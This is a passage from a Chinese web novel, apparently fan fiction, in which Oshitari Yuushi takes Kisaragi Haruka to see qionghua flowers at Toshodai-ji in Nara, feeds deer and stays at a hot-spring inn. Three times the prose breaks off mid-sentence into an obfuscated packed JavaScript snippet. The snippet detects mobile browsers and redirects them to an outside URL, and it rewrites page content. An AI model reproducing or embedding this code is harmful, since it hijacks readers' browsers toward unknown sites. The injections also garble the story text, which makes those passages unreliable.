声音里带着一种极少出现的、近乎缥缈的情绪,“生命的颜色。” 水谷雅子并未察觉她的走神,高兴地点头:“绿色真的很衬如月同学你呢!你的皮肤这么白,穿绿色一定非常好看!” “如果是绿色系的话,花纹采用植物元素怎么样?你有没有特别喜欢的植物?” 如月遥沉默了。 她垂着眼眸,长长的睫毛掩盖了所有可能泄露的情绪,让人看不清她此刻的想法。 过了好一会儿,就在水谷雅子以为她不会回答的时候,她才轻声开口,吐出一个对于日本人来说颇为陌生的词: “琼花。” 水谷雅子明显愣了一下,脸上露出困惑的神情:“欸?……琼花?那是……” 如月遥看着她疑惑的样子,异常耐心地解释道:“琼花,是中国特有的一种花。大多生长在的山地的树林里。” 她的声音平稳又专注,“它开花的时候,很多白色的小花聚在一起,远远看去就像枝头堆满了白雪一样。” 旁边那位弹古筝的中国女孩正好听到她们的对话,也凑过来热心补充道:“是的!琼花在我们国家很有名,被称为‘天下无双’的花,历史上很多文人都赞美过它,说它像开在仙境里的花一样,特别纯洁漂亮!” 水谷雅子听得入了神,连忙拿出本子记下:“原来是这样,我待会儿就去仔细查查它的图片和形态!一定会努力把这种花的元素融入到设计里去的!” 如月遥却摇了摇头,语气恢复了平时的淡然:“只是我个人偏好。你不必强求,设计还是以整体效果和你的专业判断为主。” 她似乎并不想因为自己的喜好而给对方造成额外的负担。 忍足在一旁默默地观察着,只觉得今天的如月遥有点反常。 不仅容忍了陌生人的接触,甚至对水谷雅子表现出了超乎寻常的耐心。 认真回答每一个问题,细致解释一个对方完全陌生的概念,语气从头到尾都保持着一种罕见的平和。 这种“正常”得符合社交礼仪的表现,放在任何人身上都再普通不过,但发生在素来不耐麻烦、对陌生人冷淡疏离、惜字如金的如月遥身上,就显得极其怪异。 忍足的目光再次落回水谷雅子脸上,一个模糊的猜测在他心中逐渐成型。 这张脸一定对如月遥有着某种特殊的意义。 否则,无法解释。 21. 第 21 章 折腾了将近一个下午,流程总算接近尾声。 表演者们和设计师们互相道别,陆续离开了工作室。 如月遥却并没有立刻离开。 她站在原地,不动声色,只是目光再次投向正在整理布料的水谷雅子。 半晌,她主动开口,声音里带着忍足从未听过的温和语调: “水谷同学。” 水谷雅子闻声抬起头,脸上带着询问的微笑,等待她的下文。 如月遥看着她,那双总是清冷的眼眸里,似乎流淌过一丝极其复杂难辨的情绪,但最终只是微微颔首,语气却奇异地软化了许多:“很高兴见到你。” “服装的事情,就拜托你了。” 这大概是忍足认识如月遥以来,从她口中听到过的、对他人最客气甚至称得上“温柔”的一句话了。 水谷雅子显然也有些受宠若惊,随即露出一个更加明媚灿烂的笑容,用力点了点头:“嗯!交给我吧!一定会让如月同学在舞台上闪闪发光的!” 如月遥没再说什么,转身离开了工作室。 忍足站在原地,看着如月遥消失在门口的背影,心里像是打翻了一瓶陈年老醋,泛起一股强烈的酸涩感。 虽然对方是个女生,虽然他知道这反常必定事出有因,但那种温和到近乎温柔的表情,是他第一次在如月遥身上见到。 就好像天上那轮总是清冷皎洁、遥不可及的月亮,忽然变得无比柔和,洒下了温软的清辉。 只是,那光芒照耀的对象,却不是他。 这种莫名其妙甚至幼稚的嫉妒心,让忍足不自觉地皱眉。 他深吸一口气,强迫自己冷静下来。 理智告诉他,这肯定与水谷雅子的脸有关,那背后一定藏着如月遥不为人知的过去或心结。 他提醒自己:还不到追问的时候,需要耐心,再等等…… 他将这点不舒服的情绪压回心底,习惯性地加快脚步,跟上了前面那道纤细的身影。 夕阳的金辉慷慨地洒满校园的小径,将两人的影子拉得很长。 忍足安静地跟在如月遥身后半步的距离,看着她被夕阳勾勒出的柔和轮廓,又想起她刚才说“喜欢绿色,是生命的颜色”,心底那点酸涩不知不觉被另一种微妙的情绪取代。 真巧,他也喜欢绿色,喜欢那种蓬勃、安静又充满希望的感觉。 这种微不足道的共同点,在此刻却让他生出一种被命运眷顾的错觉,忍不住暗自傻乐起来,连手臂的酸痛似乎都减轻了不少。 正当他沉浸在这点微不足道却足以让他心头发甜的巧合中时,走在前面的如月遥却毫无预兆地突然停住了脚步。 忍足收势不及,整个人猝不及防地撞了上去,他的胸膛结结实实地撞上了她后脑勺。 “唔!”如月遥发出一声极轻的闷哼,显然是撞疼了。 忍足吓了一跳,还没来得及体会胸膛与她发丝相触那瞬间产生的旖旎心跳,就对上她转过身来时皱紧的眉头和不满的冰冷眼神。 “你走路都不看路的吗?”她揉着自己的后脑,语气里的嫌弃几乎要凝成实质,“打网球会把胸肌练得这么硬吗?” 言下之意,撞得她很痛。 忍足顿时尴尬得耳根发烫,连忙后退半步道歉:“对不起,是我没注意到。撞疼了吗?真的很抱歉!” 他心里懊恼,明明刚才还在提醒自己要耐心,转眼就犯了这种低级错误。 如月遥抿着唇瞪了他一会儿,似乎是在判断他道歉的诚意。 就在忍足以为她要毒舌吐槽或者干脆不理他时,她却做出了一个让他意想不到的举动。 她从随身携带的包里面拿出一个扁平的小盒子,递到他面前。 “喏。” 忍足下意识地接过。 似乎是一盒活血化瘀膏药,专门针对撞击伤和肌肉钝痛。 “这个效果还不错。”如月遥移开视线,语气硬邦邦的,仿佛只是在处理多余的物品,“拿去涂你的伤。” 忍足握着药膏,愣了好几秒,随即心头的暖流猛地冲垮了之前那点可笑的醋意,瞬间席卷了他的四肢百骸。 她注意到了! 她不仅注意到了他排练时因手臂伤势而显露的僵硬和不适,甚至还特意准备了药膏。 哎呀呀……这位大小姐啊…… 忍足侑士抬起头,看着眼前女孩的侧脸,心软得一塌糊涂。 真是……别扭又可爱到极致的关心方式。 他握紧了药膏,嘴角无法控制地向上扬起,关西腔调里充满了几乎要溢出来的喜悦:“谢谢大小姐,我会好好用的。” 晚上回到公寓,忍足手臂上涂着如月遥给的药膏,清凉的感觉缓解了不适,心里那份因她别扭的关心而激荡的暖意却久久未散。 同时,下午如月遥异常的反应,也像一根细小的刺,留在他心间,让他无法不在意。 尤其是“琼花”…… 如月遥提到这个词时,那种带着缥缈怀念的语气,让他非常想知道这背后究竟藏着怎样的故事。 他对植物了解有限,苦思冥想后,想起了一个绝对可靠的行家,幸村精市。 那位“神之子”不仅网球打得好,在园艺和植物方面的造诣更是深厚。 他立刻找出号码拨了过去。电话很快被接通,那头传来幸村温和而略带讶异的声音:“摩西摩西?忍足?真是稀客。有什么事吗?” “晚上好,幸村。抱歉这么晚打扰你。”忍足有些不好意思地开口,关西腔都收敛了几分,“想向你请教一种植物……” “你知道‘琼花’吗?” “琼花?”幸村的声音里兴趣浓了几分,“知道。这是一种非常美丽且富有文化意蕴的中国花卉,属于忍冬科,又名木绣球、聚八仙。怎么突然问起这个?” 忍足简单解释道:“啊……是因为一个朋友提起,说她很喜欢。但我对这方面不太了解。” 幸村轻笑了一下,没有深究,耐心地介绍道:“琼花确实很特别。它的花序很大型,由周围八朵五瓣的不孕花环绕着中间珍珠般的可孕花组成,盛开时如白玉雕琢,清雅绝俗,在中国有‘天下无双独此花’的美誉。而且,”他顿了顿,补充了一个关键信息,“现在这个时节,正好是它的花期。” “花期?”忍足很惊讶。 “是啊。”幸村肯定道,并给出了更具体的信息,“如果你那位朋友想看的话,我记得奈良的唐招提寺里就有几株生长得很好的琼花。” “那是多年前从中方友好赠送的,每年花期都会吸引不少游客和植物爱好者前去观赏,景色相当不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526623|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错。” 奈良! 唐招提寺! 正是花期! 他的大脑飞速运转起来:奈良,距离东京大约两个多小时的自驾车程,古老的寺庙、宁静的山谷、萌萌的小鹿,还有著名的温泉。 一个绝妙的计划瞬间在他脑海中成型。 结束与幸村的通话后,忍足迫不及待地拿起手机,点开了那个极简的聊天界面。 【忍足侑士】:大小姐,周末有空吗?想请你去赏花。 消息发出去后,他紧张地盯着屏幕。没过多久,提示音响起。 【Moon】:赏什么花? 【忍足侑士】:琼花。 这两个字发送成功后,对方的回复间隔稍微长了一点,仿佛在确认或思考。 【Moon】:在哪里? 有戏!忍足压下激动,手指飞快地打字。 【忍足侑士】:奈良的唐招提寺。听说那里的琼花是很多年前从中国移植过去的,现在正好是最佳观赏期。 他又等了一会儿,这次如月遥回复得很快。 【Moon】:好。 她答应了!就这么干脆地答应了! 他看着那个“好”字,一个更大胆、带着点冒险意味的念头冒了出来。 深吸一口气,斟酌着用词,小心翼翼地问道: 【忍足侑士】:奈良稍微有点远,当天来回可能会比较赶。方便在外面住一晚吗? 问出这句话的瞬间,忍足感觉自己的脸颊有些发烫。 尽管他努力告诉自己这只是出于行程安排的合理建议,但内心深处无法避免地生出了一丝极其隐秘的、属于男性本能的旖旎遐想。 和她、在外过夜…… 果然,如月遥立刻追问: 【Moon】:为什么? 忍足抛出了早已想好的、最具诱惑力的理由: 【忍足侑士】:因为奈良除了寺庙和琼花,还有很不错的温泉旅馆。体验一下日式温泉,放松身心,也很不错。 消息发送后,等待回复的每一秒都变得无比漫长。 忍足甚至能听到自己血液流动的声音。 会太冒进吗? 她会拒绝吗?还是会……? 几分钟后,手机终于再次响起。 【Moon】:可以。 简简单单的两个字,却让忍足侑士的整个世界瞬间被点亮。 她答应了! 他几乎是秒回,生怕她反悔: 【忍足侑士】:那我马上安排行程和预订旅馆,周六早上准时来接你。 【Moon】:嗯。 放下手机,忍足在原地愣了好几秒,才仿佛终于确认这不是梦境。 他站起身兴奋地转了两圈,嘴角的笑容最终化作一阵低沉而愉悦的笑声。 笑了好一会儿,他才勉强冷静下来,然后做出的第一个举动就是——唰地一下打开了衣柜! 他看着里面挂着的各式衬衫、西装、休闲服,开始认真地思考:去奈良赏花泡温泉,该穿什么才好呢? 要足够帅气,但不能显得太刻意;要舒适,又能衬托气质…… 他一边挑挑拣拣,一边忍不住哼起了轻快的小调。 已经开始无比期待这个周末的奈良之行了。 22. 第 22 章 周六的清晨,阳光正好。 忍足侑士神清气爽地走下楼梯,对着正在用早餐的家人们打了个招呼:“父亲,母亲,姐,早上好。我这周末要去奈良,不在家住了。” 忍足惠里奈咬着吐司,眼神暧昧地上下打量着他明显精心搭配过的休闲装束:“又出去?小侑,你最近周末很忙哦~” “昨天还看到你逛了好几家线上买手店,是在挑衣服吧?” 忍足母亲优雅地放下咖啡杯,看着儿子眼角眉梢那压不住的愉悦,了然地微笑:“看来是有了很想认真约会的对象了呢。”语气里满是欣慰和好奇。 忍足父亲闻言,沉吟了一下,推了推眼镜,做出了一个完全错误的推断:“奈良?是去拜访清水家在那边的别苑吗?看来和清水家的联姻事宜,进展得比想象中更顺利。” 忍足侑士:“……” 他完全没料到父亲会产生如此离谱的误会,刚想开口澄清,但看了眼时间,担心让如月遥等,只好匆匆留下一句:“不是清水家的事。我先走了,回来再跟你们解释!” 便抓起车钥匙,快步离开了家,完全没理会身后家人各异的神色。 他心情雀跃地坐进驾驶座,一路顺畅地准时到达如月宅门口。 如月遥拎着一个小巧的旅行包走了出来,准时干脆。 她今天穿了一条白色长裙,裙身上用绿色的丝线绣着蜿蜒精致的藤蔓花纹,清新又带着几分古典韵味。 长发编成了优雅的鱼骨辫,露出线条优美的脖颈。 自然地拉开副驾驶的门坐了进来,淡淡的雪松冷香也随之弥漫在车厢里。 “早上好,大小姐。”忍足笑着打招呼,发动了车子。 “早。”如月遥系好安全带,然后非常自然地伸手点开了车载音响,熟悉的古典乐旋律流淌出来。 一切动作都流畅得仿佛演练过无数次,那种自然而然的熟悉感,让忍足心底泛起细密的甜。 在一个红灯前停下时,如月遥从随身的小包里拿出一支口红,对着遮阳板上的镜子仔细涂抹。 忍足侧头看了一眼在她唇上晕开的色泽,试图找话题:“嗯……这个颜色,是枫叶红吗?很衬你。” 如月遥闻言,用一种“你果然是个直男”的嫌弃眼神瞥了他一眼,斩钉截铁地纠正道:“这是红茶色。” 忍足顿时汗颜,摸了摸鼻子:“啊……抱歉。” 果然,他还是无法精准分辨女性口红那微妙复杂的色号。 不过,看着她如此自然地使用他车上的镜子,那种仿佛已经将他划入“可共享空间”的亲近感,远比口红色号更重要,让他觉得无比美妙。 简单介绍了一下行程安排:先去唐招提寺赏琼花,然后在奈良公园附近逛逛,喂喂小鹿,傍晚再去预定好的温泉旅馆入住。 如月遥安静地听着,没有提出任何异议,看来是对他这位“地陪”的安排颇为满意。 闲聊间,如月遥的目光落在他之前受伤的手臂上,问了一句:“手怎么样了?” 忍足活动了一下手腕,笑着回答:“完全不疼了。大小姐给的那个药膏真的很神奇,效果立竿见影。” 他有些好奇地问,“好像不是市面上常见的牌子?” “嗯。”如月遥淡淡应了一声,“是我家内部研制的方子。小时候练武受伤,都是用这个。” “练武?”忍足顺势问了下去,这是他一直好奇的点,“是从小就开始练吗?” “嗯。”如月遥看着窗外飞逝的景色,语气平淡得像是在说别人的事,“走路还会摔跤的时候,就被安排开始接受训练了。” 忍足的心微微一动。 他敏锐地捕捉到了她话语中那个被动且带着强制意味的词。 “被安排”、“被训练”。 这听起来完全不像是因为个人兴趣而学习,更像是一种不得不完成的任务。 一种从小就被强加的命运。 那种被迫的、缺乏自主选择的感觉,以她的性格,一定不会喜欢。 她平静无波的神情下,似乎隐藏着一段他尚未知晓的、或许并不轻松的童年。 两个多小时的车程虽不算特别疲惫,但终究有些拘束。 车子停稳,如月遥便率先下了车,站在路边伸展了一下腰肢和手臂,活动略显僵硬的筋骨。 忍足刚从车里出来,就听到身旁传来一句清淡的、几乎消散在风里的:“开车辛苦了。” 他微微一怔,有些意外地看向她。 还没等他那点受宠若惊的情绪发酵,如月遥已经若无其事地提步走开,仿佛刚才那句轻飘飘的话只是他的错觉。 他忍不住低笑出声,连忙快走两步喊住她:“大小姐,方向反了哦。唐招提寺的入口在另一边。” 如月遥的脚步瞬间顿住,身体几不可查地僵了一下。 她缓缓转过身,那双眼睛精准地瞄了忍足一下,眼神里清晰地传递出一丝尴尬。 还有,不准笑。 忍足立刻绷住嘴唇,努力压下上扬的嘴角,做了一个“请”的手势,示意正确的方向。 他读懂了她的眼神,并且觉得她这难得流露出的、近乎“恼羞成怒”的小情绪,可爱得要命。 唐招提寺古朴庄严,充满着历史沉淀下的宁静气息。 对于寺庙建筑本身,如月遥似乎兴趣缺缺,目光只是淡淡扫过那些飞檐斗拱。 但她还是放缓了脚步,配合着显然也是第一次来的忍足,慢慢地沿着参道行走,浏览着周围的景致,算是尽到了一个“同行者”的基本礼仪。 直到他们穿过几重院落,走到寺内一处相对僻静的角落时,如月遥的脚步停住了。 她的目光被前方一棵繁茂的大树完全吸引。 那棵树的枝头开满了洁白无瑕的花朵,无数朵小花紧密簇拥成硕大的花球,如同无数白玉雕琢的绣球挂满枝头。 远远望去,宛如一片温柔的雪云降临在苍翠的枝叶之间,纯净、盛大、又带着一种遗世独立的清雅之美。 正是琼花。 如月遥静静地站在树下,仰起头,目光专注地凝视着那片如雪似玉的花海。 阳光透过花叶的缝隙洒落在她脸上,微风拂过,带来淡淡清香,也吹落几片洁白的花瓣,盘旋着落在她的发间、肩头。 忍足清晰地看到,一抹极淡却无比真实的笑容,如同初春破开冰面的溪流,缓缓在她的脸庞上漾开。 她微微眯起了眼,眉眼弯弯,唇角上扬出一个柔和的弧度。 风吹起她白色长裙的裙摆和绿色的藤蔓绣花,与她身周飘落的琼花瓣交织在一起,清冷,洁白,不染尘埃。 她看着琼花,眼神却仿佛穿透了时光,落在了某个遥远的、只存在于记忆深处的画面里。 从前,也有一个少女和她一起,这样站在如雪的琼花树下,笑语嫣然…… 忍足默默站在她身侧,没有出声打扰这份静谧的美好。 他觉得,仅仅是能这样站在她身边,分享她此刻毫不设防的喜悦,就已经足够美好了。 或许是被这美景和回忆触动了心弦,如月遥的心情显然很好。 忽然轻声开口,说了一句中文:“白头如新,倾盖如故。” 忍足没听懂,疑惑地看向她。 如月遥转过头,耐心地为他翻译成日语:“意思是,有些人即使相识到头发变白,也还是像新朋友一样陌生;而有些人,哪怕只是第一次见面,车盖碰到一起的瞬间,也感觉像是认识了很久的老朋友。” 忍足几乎是立刻就想到了那个让如月遥态度异常的水谷雅子。 他斟酌了一下词语,试探着问:“说的……是水谷同学吗?” 如月遥有些惊讶地看了他一眼,随即点了点头,语气里甚至带上了一丝赞赏:“你确实很敏锐。” 她重新将目光投向满树琼花,声音轻得像是在叹息,“水谷……长得很像我的一个故人。” 她的语气里带着一种清醒的怀念,“只是故人已逝。我知道水谷不是她。” “但是能再见到如此相似的面容,于我而言,也算是命运的一种馈赠吧。” 她说这话时,侧脸在花影下显得格外美好,眼神中混合着感伤与温柔的复杂情绪。 几片琼花瓣落在她的发梢和肩头,她似乎毫无所觉。 忍足看着,甚至舍不得抬手帮她拂去,生怕打破了这份静谧。 沉默了片刻,忍足望着这座由唐代高僧鉴真历尽艰辛东渡后主持修建的寺庙,想起了背后的历史,轻声开口,将话题引向更开阔的层面: “唐招提寺是鉴真大师带来的盛唐风华。远渡重洋来日本弘扬佛法,佛法中常说轮回转世……你相信轮回吗?” 他想知道,她对那位“故人”,是否怀有更深的、超越现世的念想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526624|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 如月遥闻言,却只是轻轻地笑了笑,聪慧如忍足,也看不透这笑的含义。 “活在当下吧。” 她收回望向琼花的视线,眼神恢复了平时的清明与冷静,“轮回这种事,太虚无缥缈了。” “或许更适合在陷入绝望的时候,作为给自己一个继续寻找希望的借口罢了。” 她似乎并不愿意沉浸在这种玄妙的、无法证实的话题里,更倾向于面对现实。 但这句回答,却也隐隐透露出她内心深处或许也曾有过某种“绝望”,只是她选择用更实际的方式去面对,而非寄托于虚无的来世。 风再次吹过,琼花如雪般簌簌落下。 在唐招提寺停留了足够长的时间,几乎将每一条栽种着琼花的小径都走遍后,两人才准备离开。 就在即将走出最后一道院门时,如月遥却忽然停下了脚步。 她转过身,语气自然却是少见的、主动地提出要求:“帮我拍张照。”她指了指身后那棵开得最盛的琼花树。 忍足有些意外,但立刻点头,拿出手机。 如月遥走到树下,选了一个光线和背景都绝佳的位置。 她没有像大多数女孩那样摆出任何姿势,只是静静地站在那里,身姿挺拔,白色绣绿蔓的长裙与琼花相得益彰。 微微侧头,清冷的目光平静地望向忍足手中的镜头,仿佛要将此刻的宁静与花香一同烙印下来。 忍足蹲下身,寻找着最佳角度,将她和满树如雪的琼花、以及身后古寺飞檐的一角都完美地容纳进取景框内。 咔嚓。 忍足的手机相册里,又多了一张独一无二的、关于她的珍藏。 如月遥走了过来,凑近看了看忍足手机屏幕上的成片。 照片里的她站在琼花树下,背景虚化,焦点清晰,光线柔和,将她那份清冷与花朵的柔美融合得恰到好处。 “嗯,不错。”她客观地评价道,嘴角几不可查地向上弯起一个弧度,表示满意。 忍足看着她近在咫尺的侧脸,以及发间、肩头沾染的几片洁白花瓣,心头一动。 下意识地伸出手,轻柔地从她乌黑的发丝间捏走了那几片落花。 如月遥在他伸手的瞬间,身体有极其本能的警惕,那是常年训练形成的条件反射。 但或许是他的动作太过轻柔,或许是意识到对象是忍足,她最终没有做出任何防御或攻击性的反应,只是站在原地,任由他的指尖轻轻拂过她的发丝。 忍足低着头,能清晰地看到她卷翘的睫毛,以及那双近在咫尺的、正看着他的眼眸。 那眼睛里带着明显的不满和忍耐,仿佛在说“靠得太近了”,但最终,那点不满化为了某种“本小姐暂且不跟你计较”的默许。 忍足的心跳有些加速,他收回手,指尖仿佛还残留着她发丝的微凉触感和花瓣的柔软。 他努力让自己的声音听起来自然,带着哄劝意味:“拍好了。接下来带你去吃奈良有名的柿子叶寿司?然后去奈良公园看小鹿,好不好?” 如月遥闻言,这才微微向后撤了半步,拉开了一点距离,高傲地抬起下巴,应了一声,算是同意了这个安排,然后用眼神示意他,可以带路了。 忍足笑着转过身,心情愉悦地走在前面引路。 刚走出两步,他忽然感觉到后脑勺传来极其轻微的触碰感,像是被极其柔软的羽毛拂过一下,快得如同错觉。 他下意识地停下脚步,回头看去。 只见如月遥淡定地收回手,指尖捏着一片不知何时沾在他后脑勺头发上的琼花瓣。 她对上他惊讶的目光,表情平静无波,语气更是理所当然:“举手之劳。不用谢。” 仿佛只是随手拍掉了一点灰尘。 原来,刚才她踮起脚尖,飞快地帮他拂去了发间的落花。 动作迅捷而轻柔,几乎没碰到他的头发,只有那瞬间极细微的触感,却让忍足的心弦像是被狠狠拨动了一下,震颤不已。 这位总是用别扭方式表达关心的大小姐,忍足感觉胸腔里被滚烫而充盈的情感填得满满的。 他忍不住低笑出声,关西腔里浸满了柔软的笑意:“嗯,谢谢。” 如月遥只是瞥了他一眼,没再说话,迈步越过他向前走去。 他快步跟上,走在她的身侧,觉得奈良午后的阳光,真是温暖得恰到好处。 23. 第 23 章 享用完柿子叶寿司后,两人信步来到了奈良公园。 春日午后的阳光暖融融的,洒在广阔的草坪和古老的树木上。 公园里随处可见悠闲漫步或与游客互动的鹿群,毛茸茸的身影和大部分时候温顺的模样,瞬间就抓住了人心。 忍足也难得显露出几分大男孩的玩心,在路边小摊买了专门的鹿仙贝。 刚拿到手,还没等他好好感受一下期待的注视,几只嗅觉灵敏的小鹿就立刻围了上来,湿漉漉的鼻子蹭着他的手心,甚至用脑袋轻轻顶他,迫不及待地讨要食物。 “哎呀呀,别急别急,都有份……”忍足一边笑着,一边尝试分发鹿仙贝。 那毛茸茸的触感确实让人心生欢喜,他忍不住摸了摸其中一只小鹿的脑袋。 然而,鹿仙贝的诱惑显然更大,很快更多的鹿被吸引过来,将他团团围住,甚至有些着急地开始用嘴轻轻拉扯他的衣角,场面一时变得有些失控和狼狈。 忍足只好一边努力保持平衡,一边加快速度投喂,哭笑不得地感叹:“奈良的小鹿……果然名不虚传,真是太热情了。” 好不容易摆脱了围攻,他的目光扫过草坪,在不远处的一棵大树下看到了她。 眼前的景象让忍足微微一愣。 如月遥并没有像其他游客那样拿着鹿仙贝去吸引小鹿,她只是安静地坐在树下的长椅上,甚至手里都没有拿食物。 然而,令人惊奇的是,竟然有三四只小鹿自发地、安安静静地围在她身边。 它们不像围攻忍足或其他游客时那样急躁顽皮,没有用头顶撞,没有拉扯衣服,只是温顺地挨着她,偶尔用脑袋轻轻蹭蹭她的手臂或膝盖,乌黑的大眼睛里充满了平和与亲近。 如月遥从随身的小包里拿出刚才忍足买给她的、还没吃完的一小包动物饼干,掰成小块,慢条斯理地喂给它们。 更让人惊讶的是,这几只小鹿居然还很有秩序,仿佛知道排队一般,轮流上前从她手心衔走饼干,吃完后也不吵闹,只是继续用湿漉漉、亮晶晶的眼睛看着她,耐心等待下一块。 这与公园里其他追着游客跑、甚至会用鹿角顶人屁股的“鹿霸王”们形成了鲜明对比。 忍足看着这和谐得有些不可思议的一幕,心里忍不住默默吐槽: 难道奈良的小鹿也是颜控? 只对长得特别好看的女孩子这么温柔有礼貌? 然而,他们两人都没想到的是,日本实在太小了,尤其是对于热衷八卦的大学生而言。 他们这对组合在奈良公园喂鹿的画面,毫无意外地被同样来游玩的其他东大学生看见了。 “欸?!那不是医学部的忍足学长和文学部的如月桑吗?” “真的是他们!论坛上那对!” “天啊!他们一起来奈良约会了?!” “快看快看!忍足学长被鹿追着跑的样子好好笑!如月桑那边怎么回事?鹿都好乖啊!” “快拍下来!这下实锤了吧!” 咔嚓咔嚓的偷拍声被淹没在公园的喧闹中。 于是,当晚,本就对这两人关系高度关注的东大校园论坛,再次毫无悬念地迎来了新一轮的流量狂潮。 【爆!实锤约会!忍足侑士&如月遥周末同游奈良!有图有真相!】 【贵公子被鹿追杀vs冰美人被鹿环绕!这反差萌我磕死了!】 【奈良公园甜蜜喂鹿!这氛围!不是真的我倒立洗头!】 【所以这是正式交往了吗?都一起出去过夜旅行了?!】 【楼上,注意措辞!是‘同游’!(但我也觉得是过夜了嘿嘿嘿)】 【忍足君看如月桑的眼神……拉丝了拉丝了!这还不算爱?】 【如月桑居然会笑!虽然是对着鹿!但四舍五入就是心情很好!等于约会很开心!】 各种角度的照片、夸张的标题、沸腾的讨论瞬间淹没了论坛。 而事件中心的两位主角,对此还一无所知,正享受着奈良傍晚的宁静时光。 忍足只觉得今天的一切都美好得像一场梦,而论坛的再次爆炸,不过是这场美梦的一个小小、吵闹却又甜蜜的注脚。 忍足侑士预定的是一家传统而雅致的日式温泉旅馆,环境清幽,隐私性极佳。 领着如月遥穿过铺着榻榻米的安静走廊,在一处相邻的两间房门前停下。 他指了指并排的两扇拉门,语气自然地解释道:“房间安排得近一些,方便互相照应。” 他小心地观察着她的反应,担心她会觉得被冒犯或过于靠近。 如月遥的目光在两扇门之间扫了一下,脸上没什么特别的表情,点了点头,算是默认了这个安排,没有表示任何异议。 这让忍足悄悄松了口气。 “每个房间都带有独立的露天私汤,”他继续介绍,着重强调了隐私性,“围墙和植被设计得很好,完全不用担心会被看到。你可以放心泡温泉放松。” 他知道她极其注重个人空间和隐私。 如月遥再次点头,伸手利落地刷开房门,只留下句“一会儿见”,便侧身进了房间。 典型的和室布局,简洁而舒适,推开玻璃拉门,外面是一个小巧精致的露天庭院,岩石砌成的温泉池正冒着氤氲热气。 忍足在沙发上坐下,长舒了一口气,感受着这一天奔波带来的些许疲惫,以及内心满满的、不真实的幸福感。 他拿出手机,正准备查收一下邮件,屏幕却先一步亮了起来。 是迹部景吾发来的信息。 点开一看,首先映入眼帘的就是一张明显偷拍于奈良公园的照片: 照片里,他正略显狼狈地被几只小鹿“围攻”,而背景不远处,如月遥安静地坐在树下,身边围着几只异常温顺的小鹿。构图抓拍得居然还有点巧妙。 下面跟着迹部毫不留情的调侃: 【迹部景吾】:又兼职当如月大小姐的专属地陪和司机去了?服务范围还挺广,从东京扩展到奈良了?论坛都快被你们俩刷屏了。[截图.jpg] 忍足看着那张照片,第一反应不是被调侃的尴尬,而是摸着下巴心想:这个偷拍的同学技术还真不错? 角度选得好,甚至把他和如月遥微妙地框在了同一画面里,虽然各自应对着不同的鹿群,却有种奇妙的和谐感。 他手指飞快地将图片保存了下来,然后才慢悠悠地回复迹部。 【忍足侑士】:嘛…打网球太累了,出来泡个温泉放松一下不是很正常吗?[微笑] 迹部显然不吃他这套顾左右而言他的说辞。 【迹部景吾】:啊嗯?泡温泉需要专门跑到奈良?忍足,你那点心思都快写在脸上了。准备什么时候正面出击?暗恋游戏还要玩多久?本大爷的华丽美学里,可没有这种拖泥带水的选项。 正面出击? 忍足看着迹部的话,忍不住想象了一下自己如果真的当面郑重其事地对如月遥表白…… 场景大概会是: 她先用那双清冷的眼睛毫无情绪地瞥他一眼,然后毫不留情地毒舌一句:“你最近训练把脑子也练没了吗?” 或者更直接一点,“想死可以直说。” 能不动手扭断他胳膊,大概都算是看在这些天相处的情分上了。 他苦笑了一下,回复道: 【忍足侑士】:有些事情需要等待最合适的时机。贸然前进,可能会被彻底讨厌的。大小姐的脾气,你又不是不知道。 敷衍了迹部几句,将他打发走之后,忍足又处理了几封实验室发来的紧急邮件,回复了一些数据问题。 等他把这些琐事都处理完,抬头一看墙上的钟,才发现不知不觉已经过去一个多小时了。 窗外的天色渐渐暗了下来,温泉池边的石灯自动亮起柔和的光芒,氤氲的热气在昏黄光线下更显诱人。 忍足侑士换好舒适的浴袍,推开玻璃拉门,踏入微凉的夜风中。 露天温泉池被精心打理过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526625|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的庭院环绕,岩石垒砌的池子冒着袅袅白汽,在渐暗的天色和悄然亮起的石灯映照下,显得格外诱人。 褪下浴袍挂在旁边的架子上,缓缓将身体浸入温度恰到好处的温泉水中。 “嗯……”温热的水流瞬间包裹住全身,驱散了步行一天的疲惫,肌肉的酸胀感在热力的作用下渐渐舒缓开来,他忍不住发出一声满足的喟叹。 背靠着光滑的岩石池壁,仰起头,能看见几颗早早亮起的星星,点缀在深蓝色的天幕上。 周围极其安静,只有偶尔的风声和温泉水轻微的涌动声。正因为这份寂静,隔壁房间的动静便显得格外清晰。 他听到拉门被滑开的声音,很轻。 接着是极细微的、踩在木质平台上的脚步声。 然后是衣料摩擦的窸窣声,想象中,那应该是浴袍带子被解开,布料滑落的声音。 最后,是另一道清晰入水声,带着一点仿佛被水温熨帖到的、极轻的呼气声。 是如月遥。 